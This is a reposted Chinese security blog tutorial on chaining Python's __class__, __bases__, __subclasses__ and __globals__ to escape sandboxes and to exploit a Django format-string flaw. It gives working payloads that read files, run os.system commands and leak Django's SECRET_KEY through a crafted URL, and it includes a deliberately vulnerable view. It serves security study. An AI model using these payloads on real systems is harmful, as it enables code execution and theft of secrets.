用python继承链搞事情

发布时间 2023-06-02 07:42:25作者: 熊猫爱旅行
title: 用python继承链搞事情
date: 2022-11-21T17:16:48Z
lastmod: 2022-11-21T17:23:10Z
tags: [python 奇技淫巧]
note: 不知为何,我收藏夹中一些珍贵的博文渐渐打不开了,这些博文在某一时刻曾是我的救命稻草,我很怀恋它们。现在,我想通过转载这种方式将它们留在我的私属领地,期间如存在侵权行为,望博主谅解并联系删除,谢谢!

用python继承链搞事情

前言

继承链这个这个词是我自己发明的。看到有的师傅博客中将它称为 egg 或者 ssti,但是我喜欢叫它继承链因为感觉很生动。最早遇到这种姿势是在学习 python bypass 沙盒的时候。当时不是很理解形如 ().__class__.__bases__[0].__subclasses__() ​的意思。学习一段时间后,我决定来总结一下构造继承链的方法,并且用此方法在 django 有格式化字符串漏洞的情况下读取配置文件(灵感来自 p 师傅博客)。之前排版有点问题重新发一下(幸苦肉肉姐了)。

基础知识

bases

返回一个类直接所继承的类(元组形式)

class Base1:
    def __init__(self):
        pass

class Base2:
    def __init__(self):
        pass

class test(Base1, Base2):
    pass

class test2(test):
    pass

print test.__bases__
print test2.__bases__
"""
(<class __main__.Base1 at 0x0322ADF8>, <class __main__.Base2 at 0x0322AE30>)
(<class __main__.test at 0x0322AE68>,)
"""

在看别人文章时发现__mro__和__bases__用法相同,两者具体区别, 暂时留个坑。

一些情况下也可用 __base__ ​直接返回单个的类

class

返回一个实例所属的类

class Base:
    def __init__(self):
        pass

obj = Base()
print obj.__class__
"""
__main__.Base
"""

globals

使用方式是 函数名.__globals__​,返回一个当前空间下能使用的模块,方法和变量的字典。

#coding:utf-8
import os

var = 2333

def fun():
    pass

class test:
    def __init__(self):
        pass

print test.__init__.__globals__
"""
{'__builtins__': <module '__builtin__' (built-in)>, '__file__': 'backup.py', '__package__': None, 'fun': <function fun at 0x7f542e44b5f0>, 'test': <class __main__.test at 0x7f542e43b598>, 'var': 2333, '__name__': '__main__', 'os': <module 'os' from '/usr/lib/python2.7/os.pyc'>, '__doc__': None}
"""

subclasses()

获取一个类的子类,返回的是一个列表

class Base1(object):
    def __init__(self):
        pass

class test(Base1):
    pass

print Base1.__subclasses__()
"""
[<class '__main__.test'>]
"""

_​*builtin*​ && builtins

python 中可以直接运行一些函数,例如 int(),list() ​等等。这些函数可以在 __builtins__ ​中可以查到。查看的方法是 dir(__builtins__)​。在控制台中直接输入 __builtins__ ​会看到如下情况

#python2
>>> __builtins__
<module '__builtin__' (built-in)>

ps:在py3中 __builtin__被换成了 builtin

__builtin__​ 和 __builtins__ ​之间是什么关系呢?

1、在主模块 main ​中,__builtins__ ​是对内建模块 __builtin__ ​本身的引用,即 __builtins__ ​完全等价于 __builtin__​,二者完全是一个东西,不分彼此。

2、非主模块 main ​中,__builtins__ ​仅是对 __builtin__.__dict__ ​的引用,而非 __builtin__ ​本身

继承链 bypass 沙盒

用 file 对象读取文件

构造继承链的一种思路是:

  1. 随便找一个内置类对象用 __class__ ​拿到他所对应的类
  2. __bases__ ​拿到基类(<class 'object'>​)
  3. __subclasses__() ​拿到子类列表
  4. 在子类列表中直接寻找可以利用的类

一言敝之

().__class__.__base__.__subclasses__()
().__class__.__bases__[0].__subclasses__()

可以看到列表里面有一坨,这里只看 file 对象。

[...,<type 'file'>, ...]

查找 file ​位置。

#coding:utf-8

search = 'file'
num = 0
for i in ().__class__.__bases__[0].__subclasses__():
    if 'file' in str(i):
        print num
    num += 1

<type 'file'> ​在第 40 位。().__class__.__bases__[0].__subclasses__()[40]

dir ​来看看内置的方法

dir(().__class__.__bases__[0].__subclasses__()[40])
['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__iter__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'close', 'closed', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'mode', 'name', 'newlines', 'next', 'read', 'readinto', 'readline', 'readlines', 'seek', 'softspace', 'tell', 'truncate', 'write', 'writelines', 'xreadlines']

所以最终的 payload 是

().__class__.__bases__[0].__subclasses__()[40]('filename').readlines()

然后用同样的手法可以得到 __mro__ ​形式下的 payload

().__class__.__mro__[1].__subclasses__()[40]('filename').readlines()

这种方法等价于

file('backup.py').readlines()

但是python3已经移除了file。所以第一种方法只能在py2中用。

用内置模块执行命令

第二种方法接着第一种的思路接着探索。第一种止步于把内置的对象列举出来,其实可以用 __globals__ ​更深入的去看每个类可以调用的东西(包括模块,类,变量等等),万一有 os ​这种东西就赚了。

#coding:utf-8

search = 'os'   #也可以是其他你想利用的模块
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        if search in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass 
"""
(<class 'site._Printer'>, 72)
(<class 'site.Quitter'>, 77)
"""
().__class__.__mro__[1].__subclasses__()[77].__init__.__globals__['os'].system('whoami')
().__class__.__mro__[1].__subclasses__()[72].__init__.__globals__['os'].system('whoami')

不过很可惜上述的方法也只能在py2中使用。

第三种

那有没有通吃 py2 和 py3 的方法呢?答案是有的,就用上面 __builtins__ ​来搞事。

#coding:utf-8

search = '__builtins__'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        if search in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass
"""
<class '_frozen_importlib._ModuleLock'> 64
#省略一堆
"""

于是乎

py3

().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

py2

().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

继承链读 django 配置信息

p 师傅的利用格式化字符串漏洞泄露Django配置信息一文中给了两个 payload 都是无登陆情况下读到 django 配置信息,我们可以用上面所述方法找到更多的 payload。

测试代码如下

from django.http import HttpResponse

def search(request):
    template = 'Hello {user}, This is your search: ' + request.GET.get('keyword')
    return HttpResponse(template.format(user=request.user))

因为是无登陆情况,所以 requests.User 里面的对象是 AnonymousUser ​的实例

class AnonymousUser(object):
    #省略
    _groups = EmptyManager(Group)
    _user_permissions = EmptyManager(Permission)

观察到 _groups ​属性是一个 EmptyManager ​对象。

跟踪 EmptyManager ​来到 manger.py

##省略
from django.db.models.query import QuerySet
##省略
class EmptyManager(Manager):
    def __init__(self, model):
        super(EmptyManager, self).__init__()
        self.model = model

    def get_queryset(self):
        return super(EmptyManager, self).get_queryset().none()

跟踪 QuerySet ​来到 query.py

##省略
from django.conf import settings
##省略
class QuerySet(object):
    """
    Represents a lazy database lookup for a set of objects.
    """
    def __init__(self, model=None, query=None, using=None, hints=None):

settings ​里面就是 django 的配置了。

将上面的跟踪一步一步转换成 payload 就是

拿到 EmptyManager ​对象:user._groups.__class__

拿到 QuerySet ​对象:user._groups.__class__.__base__.__init__.__globals__[QuerySet]

拿到 SECRET_KEY

{user._groups.__class__.__base__.__init__.__globals__[QuerySet].__init__.__globals__[settings].SECRET_KEY}

所以最后的 payload 是

http://127.0.0.1:8000/search?keyword={user._groups.__class__.__base__.__init__.__globals__[QuerySet].__init__.__globals__[settings].SECRET_KEY}

https://xzfile.aliyuncs.com/media/upload/picture/20180423220439-431e4704-46ff-1.png

ps:有登陆的情况下构造过程中继承链的感觉更强烈,有兴趣的师傅可以试一下~

参考

http://bendawang.site/2018/03/01/%E5%85%B3%E4%BA%8EPython-sec%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/

https://www.anquanke.com/post/id/85571

http://www.cnblogs.com/iamstudy/articles/python_eval_and_bypass_sandbox_study.html

https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html